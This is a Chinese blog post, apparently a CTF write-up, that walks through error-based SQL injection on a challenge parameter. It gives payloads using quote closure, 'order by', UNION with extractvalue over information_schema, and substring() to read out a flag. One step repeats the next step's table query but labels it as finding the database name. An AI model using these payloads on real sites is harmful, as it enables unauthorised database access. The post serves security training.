个人技术分享

打开题目,提示输入一些东西,很显眼的可以看到网站标题为“参数是wllm”

首先单引号判断闭合方式

?wllm=1'

报错了,可以判断为单引号闭合。

然后判断字节数(注意‘--’后面的空格

?wllm=1' order by 3-- 

接着输入4就报错了,由此判断字段数数是3

我们已经知道了字段数,直接爆库名(注意最后的空格)

?wllm=1' union select 1,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3-- 

爆出库名是库名是test_db

然后爆表名(注意空格)

/?wllm=1' union select 1,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3-- 
 

然后我们就可以直接查看test_db中的字段

/?wllm=1' union select 1,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='test_tb'))),3-- 

 

已经看到了flag字段,直接查看数据

/?wllm=1' and 1=extractvalue(1,concat('~',(select substring(group_concat(id,'~',flag),1,30) from test_tb)))-- 

 可以看到一半的flag,

因为extractvalue()函数只能返回32个字符,因此我们使用substring()函数解决这个问题:例如substring("abc",1,1),此语句表示从第一个字符读取一个字符返回,在上面的payload中,我们得到的数据中,从第一个字符起读取30个字符返回

/?wllm=1' and 1=extractvalue(1,concat('~',(select substring(group_concat(id,'~',flag),31,30) from test_tb)))-- 

得到另一半flag

拼接起来就是完整的flag

本题完。